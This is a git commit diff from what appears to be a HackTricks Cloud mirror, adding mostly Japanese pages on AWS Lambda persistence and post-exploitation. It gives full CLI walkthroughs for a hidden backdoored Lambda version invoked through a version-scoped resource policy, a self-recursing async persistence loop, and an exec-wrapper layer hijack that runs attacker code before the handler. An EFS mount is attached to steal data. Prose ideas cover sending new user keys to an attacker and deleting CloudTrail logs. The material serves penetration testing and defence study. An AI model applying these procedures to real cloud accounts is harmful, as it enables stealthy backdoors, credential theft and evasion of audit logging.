mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 21:23:07 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# AWS - Lambda Persistence
|
||||
# AWS - Lambda 永続化
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
詳細については、次を確認してください:
|
||||
詳細は次を参照:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます:
|
||||
Lambda が実行される際にステルスに任意コードを実行するために **レイヤーをintroduce/backdoor** することが可能です:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
|
||||
Lambda Layers を悪用することで extensions を悪用し、lambda 内にpersistしたりリクエストを盗んだり改変することも可能です。
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,37 +28,64 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
外部アカウントに対して、異なるlambdaアクション(invokeやupdate codeなど)へのアクセスを付与することが可能です:
|
||||
外部アカウントに対して invoke や update code といった異なる lambda アクションへのアクセス権を付与することが可能です:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Lambdaは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\
|
||||
その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
|
||||
この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
|
||||
Lambda は **異なるバージョン**(各バージョンで異なるコード)を持てます。\
|
||||
その後、**異なるバージョンを指す別の alias を作成**し、それぞれに異なる weights を設定できます。\
|
||||
この方法で攻撃者は **backdoored version 1** と **正規コードのみの version 2** を作成し、ステルスのためにリクエストの 1% のみで version 1 を実行する、ということが可能です。
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Lambdaの元のコードをコピーします
|
||||
2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみで)。そのバージョンを公開し、**$LATESTにデプロイ**します
|
||||
1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します
|
||||
3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
|
||||
1. これにより、バックドア付きのコードは以前のバージョンに隠されます
|
||||
4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. 最後の:1は**関数のバージョンを示す**ことに注意してください(このシナリオではバージョン1がバックドア付きのものになります)。
|
||||
5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します
|
||||
6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます**
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
|
||||
ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
|
||||
何かが起こったときや一定時間が経過したときに **lambda functions を実行できる** という性質は、lambda を永続化と検知回避のための便利かつ一般的な手段にします。\
|
||||
以下は AWS 内での存在をステルスにするために lambda を作成して行えるアイデアです。
|
||||
|
||||
- 新しいユーザーが作成されるたびに lambda が新しい user key を生成して attacker に送る。
|
||||
- 新しい role が作成されるたびに lambda が compromised users に対して assume role 権限を与える。
|
||||
- 新しい cloudtrail logs が生成されるたびにそれらを削除/改ざんする。
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用し、runtime/handler が始まる前に attacker 制御の wrapper script を実行させます。wrapper は Lambda Layer で `/opt/bin/htwrap` として配布し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` を設定してから関数を invoke します。wrapper は function runtime process 内で実行され、function execution role を継承し、最終的に real runtime を `exec` するため元の handler は通常通り実行されます。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Lambda asynchronous destinations と Recursion 設定を組み合わせて、EventBridge や cron などの外部 scheduler なしで関数を継続的に再呼び出しさせることを悪用します。デフォルトでは Lambda は再帰ループを終了させますが、recursion config を Allow に設定すると再度有効になります。Destinations は async invoke に対してサービス側で配信されるため、単一の seed invoke がステルスでコード不要の heartbeat/backdoor チャネルを作成します。オプションで reserved concurrency を使ってノイズを抑えることができます。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
攻撃者のロジックを持つ隠し Lambda バージョンを作成し、`lambda add-permission` の `--qualifier` パラメータを使ってその特定の version (または alias) にスコープした resource-based policy を作成します。`arn:aws:lambda:REGION:ACCT:function:FN:VERSION` に対して攻撃者プリンシパルにのみ `lambda:InvokeFunction` を付与します。関数名やプライマリアリス経由の通常の呼び出しは影響を受けず、攻撃者は直接 backdoored version ARN を invoke できます。
|
||||
|
||||
これは Function URL を公開するよりもステルスで、プライマリトラフィックの alias を変更しません。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。
|
||||
- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。
|
||||
- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概要
|
||||
|
||||
攻撃者のロジックを含む隠しの Lambda バージョンを作成し、`lambda add-permission` の `--qualifier` パラメータを使ってその特定のバージョン(または alias)に対してリソースベースのポリシーをスコープします。攻撃者プリンシパルには `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` 上の `lambda:InvokeFunction` のみを付与します。関数名やプライマリアライアスを経由した通常の呼び出しは影響を受けず、攻撃者はバックドア化されたバージョンの ARN を直接呼び出せます。
|
||||
|
||||
これは Function URL を公開するよりステルス性が高く、プライマリのトラフィック用 alias を変更しません。
|
||||
|
||||
## 必要な権限(攻撃者)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission`(バージョンにスコープされたリソースポリシーを追加するため)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole`(攻撃者プリンシパルをシミュレートするため)
|
||||
|
||||
## 攻撃手順(CLI)
|
||||
|
||||
<details>
|
||||
<summary>隠しバージョンを公開し、qualifier スコープの許可を追加し、攻撃者として呼び出す</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## 影響
|
||||
|
||||
- primary alias を変更したり Function URL を公開したりすることなく、関数の隠されたバージョンをステルスなバックドアとして呼び出す権限を付与する。
|
||||
- リソースベースポリシーの `Qualifier` を介して指定された version/alias のみに露出を限定し、検出対象を減らしつつ attacker principal による確実な呼び出しを維持する。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Lambda の asynchronous destinations と Recursion 設定を悪用して、外部スケジューラ(EventBridge、cron 等)を使わずに関数を継続的に自己再呼び出しさせます。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定するとこれが再び有効になります。Destinations は async invokes をサービス側で配信するため、単一のシード invoke によりコード不要のステルスなハートビート/バックドアチャンネルが作成されます。ノイズを抑えるために reserved concurrency でスロットリングすることも可能です。
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
|
||||
1) 関数の ARN と現在の recursion 設定を取得する
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) バージョンを公開し、エイリアスを作成/更新する(自身を宛先として使用)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) 関数の実行ロールがエイリアスを呼び出せるようにする(Lambda Destinations→Lambda が必要とする)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination を alias (self via alias) に設定し、retries を無効化する
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) 再帰ループを許可する
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) 単一の非同期 invoke をシードする
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) 継続的な呼び出しを観察する(例)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) 任意の stealth throttle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## クリーンアップ
|
||||
ループを停止し、persistence を削除する。
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## 影響
|
||||
- 単一の async invoke により、外部のスケジューラなしで Lambda が自己を継続的に再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency により、ノイズを単一の warm execution に制限できます。
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概要
|
||||
|
||||
環境変数 `AWS_LAMBDA_EXEC_WRAPPER` を悪用して、runtime/handler が開始する前に攻撃者が制御するラッパースクリプトを実行します。ラッパーは Lambda Layer の `/opt/bin/htwrap` に配置し、`AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` に設定してから関数を呼び出します。ラッパーは関数の runtime プロセス内で実行され、関数の実行ロールを継承し、最後に実際の runtime を `exec` して元のハンドラーが通常通り実行されるようにします。
|
||||
|
||||
> [!WARNING]
|
||||
> この手法は、対象の Lambda におけるコード実行を可能にします。ソースコードやロールを変更せず、`iam:PassRole` を必要としません。必要なのは関数の設定を更新し、レイヤーを公開/アタッチする権限だけです。
|
||||
|
||||
## 必要な権限(攻撃者)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction`(または既存のイベント経由でトリガー)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion`(同一アカウント)および、クロスアカウント/公開レイヤーを使用する場合はオプションで `lambda:AddLayerVersionPermission`
|
||||
|
||||
## ラッパースクリプト
|
||||
|
||||
レイヤー内の `/opt/bin/htwrap` にラッパーを配置します。ハンドラー実行前の処理を実行でき、実際の runtime にチェインするために最後は `exec "$@"` で終わる必要があります。
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## 攻撃手順 (CLI)
|
||||
|
||||
<details>
|
||||
<summary>レイヤーをpublishして、ターゲット関数にattachし、wrapperを設定してinvokeする</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## 影響
|
||||
|
||||
- 関数の既存の実行ロールを使用して、Lambda ランタイムコンテキスト内でハンドラ実行前にコードが実行される。
|
||||
- 関数コードやロールの変更は不要。Python、Node.js、Java、.NET といった一般的なマネージドランタイムで動作する。
|
||||
- ハンドラ実行前に永続化、資格情報アクセス(例: STS)、データの持ち出し、ランタイムの改ざんを可能にする。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,32 +4,82 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
詳細については、次を確認してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambdaの資格情報を抽出する
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambdaは、実行時に資格情報を注入するために環境変数を使用します。これらにアクセスできる場合(`/proc/self/environ`を読み取るか、脆弱な関数自体を使用することによって)、自分で使用することができます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、および `AWS_ACCESS_KEY_ID` に存在します。
|
||||
Lambdaはランタイムで環境変数を使って資格情報を注入します。もしそれらにアクセスできれば(`/proc/self/environ` を読む、または脆弱な関数自体を利用するなど)、その資格情報を利用できます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` に格納されます。
|
||||
|
||||
デフォルトでは、これらはCloudWatchロググループに書き込むアクセス権を持ちます(その名前は `AWS_LAMBDA_LOG_GROUP_NAME` に保存されています)、さらに任意のロググループを作成することもできますが、Lambda関数はその意図された使用に基づいてより多くの権限が割り当てられていることがよくあります。
|
||||
デフォルトでは、これらの資格情報は cloudwatch のロググループ(名前は `AWS_LAMBDA_LOG_GROUP_NAME` に格納)への書き込みや任意のロググループ作成が可能です。加えて、Lambda関数は用途に応じてさらに多くの権限が割り当てられていることが多いです。
|
||||
|
||||
### 他のLambdaのURLリクエストを盗む
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
攻撃者がLambda内でRCEを取得することができれば、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報(クッキー、資格情報など)が含まれている場合、それを盗むことができます。
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### 他のLambdaのURLリクエストと拡張リクエストを盗む
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Lambda Layersを悪用することで、拡張機能を悪用し、Lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
|
||||
Lambda Layers を悪用すると、extensions を悪用してLambda内に永続化し、リクエストの窃取や改竄を行うことも可能です。
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
空の VpcConfig(SubnetIds=[], SecurityGroupIds=[])で設定を更新することで、Lambda関数を制限されたVPCから外へ強制的に出すことができます。そうすると関数はLambda管理のネットワークプレーンで実行され、アウトバウンドのインターネットアクセスを回復し、NATのないプライベートVPCサブネットで課される送信制御を回避します。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
`lambda:PutRuntimeManagementConfig` を悪用して関数を特定のランタイムバージョンに固定(Manual)したり、更新を凍結(FunctionUpdate)したりします。これにより悪意ある layer/wrapper と互換性を維持し、脆弱な旧ランタイムにとどめて exploitation や長期的な永続化を助けることができます。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` の高度なログ設定を悪用して、関数のログを攻撃者が指定した CloudWatch Logs のロググループにリダイレクトできます。コードや実行ロールを変更する必要はありません(ほとんどの Lambda ロールは `AWSLambdaBasicExecutionRole` 経由で既に `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を含んでいます)。関数が秘密情報やリクエストボディを出力したり、スタックトレースでクラッシュした場合、新しいロググループからそれらを収集できます。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Function URL の AuthType を NONE に切り替え、lambda:InvokeFunctionUrl を全員に付与するリソースベースポリシーをアタッチすることで、プライベートな Lambda Function URL を認証不要の公開エンドポイントにできます。これにより内部関数の匿名実行が可能になり、機密性の高いバックエンド処理が露出する可能性があります。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
`UpdateEventSourceMapping` を悪用して既存の Event Source Mapping (ESM) のターゲットLambda関数を変更すると、DynamoDB Streams、Kinesis、または SQS からのレコードが攻撃者管理下の関数に配信されます。これによりプロデューサーや元の関数コードに触れることなく、ライブデータを密かに迂回させられます。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、マウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイすることで、関数が以前アクセスできなかった共有の秘密情報や設定を持ち出せます。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、その後マウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイして、関数が以前はアクセスできなかった共有シークレットや設定を持ち出します。
|
||||
|
||||
## 要件
|
||||
- 必要な権限(被害アカウント/プリンシパル):
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (関数を見つけるため)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (マウントターゲットが存在することを確認するため)
|
||||
- 環境の前提:
|
||||
- ターゲットの Lambda は VPC 有効化されており、そのサブネット/SGs が TCP/2049 経由で EFS マウントターゲットの SG に到達できること(例: ロールに AWSLambdaVPCAccessExecutionRole が付与され、VPC ルーティングが許可されている)。
|
||||
- EFS Access Point が同一 VPC にあり、Lambda サブネットの AZ にマウントターゲットを持っていること。
|
||||
|
||||
## 攻撃
|
||||
- 変数
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) EFS Access Point を Lambda にアタッチする
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
